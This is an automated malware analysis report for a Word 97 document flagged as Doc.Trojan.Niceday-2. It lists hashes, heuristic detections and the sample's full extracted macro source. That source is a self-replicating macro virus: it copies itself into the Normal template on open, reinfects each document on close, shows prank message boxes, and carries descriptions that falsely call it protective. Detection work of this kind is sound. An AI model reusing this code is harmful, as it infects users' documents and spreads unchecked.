Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f4baf0439736946…

MALICIOUS

Office (OLE)

38.0 KB Created: 1999-12-15 10:12:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-02
MD5: 692fe782b77b2682b5063885b926e96b SHA-1: 6b78d68d98c9f5cc6da74459f1f4220d8a9873f6 SHA-256: 7f4baf04397369467223838bb1d2f7a3a12ba4ac494edbcc6b20ae4d808fcc03
176 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Niceday-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Niceday-2
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
                WordBasic.MacroCopy vMacro$, "Global:AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2469 bytes
SHA-256: f8a6cbfca50c64cca2be904978eccc9feb36ea4136fd6836c7af5a7a61a3d1bc
Detection
ClamAV: Doc.Trojan.Niceday-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoExit"

Rem Concept3.AutoExit.Macro
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim message1$
Dim message2$
Dim timenumber
message1$ = "µÑé§ã¨·Ó§Ò¹¹Ð¤ÃѺ ¹¾¾Ã ·."
message2$ = "WORK HARD!! NOPPORN T"


timenumber = WordBasic.Minute(WordBasic.Now()) / 2 - WordBasic.Int(WordBasic.Minute(WordBasic.Now()) / 2)
If WordBasic.Now() >= WordBasic.DateSerial(1998, 9, 28) Then
If timenumber = 0 Then
    WordBasic.MsgBox message2$, 50
Else
    WordBasic.MsgBox message1$, 37
End If
End If
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Checks Page Size; if not default Page Size, converts document to default Page Size.  FWTMPv7.0"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort
    
            vZap$ = WordBasic.[FileName$]()

            vMacro$ = vZap$ + ":AutoExit"
            WordBasic.MacroCopy vMacro$, "Global:AutoExit"

            vMacro$ = vZap$ + ":AutoOpen"
            WordBasic.MacroCopy vMacro$, "Global:VOpen"

            vMacro$ = vZap$ + ":VClose"
            WordBasic.MacroCopy vMacro$, "Global:AutoClose"

Abort:
End Sub

Attribute VB_Name = "VClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.VClose.MAIN"
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort

        WordBasic.FileSaveAs Format:=1

        vZap$ = WordBasic.[FileName$]()

        vMacro$ = vZap$ + ":AutoExit"
        WordBasic.MacroCopy "Global:AutoExit", vMacro$

        vMacro$ = vZap$ + ":AutoOpen"
        WordBasic.MacroCopy "Global:VOpen", vMacro$

        vMacro$ = vZap$ + ":VClose"
        WordBasic.MacroCopy "Global:AutoClose", vMacro$

        WordBasic.FileSaveAs Format:=1

Abort:
End Sub

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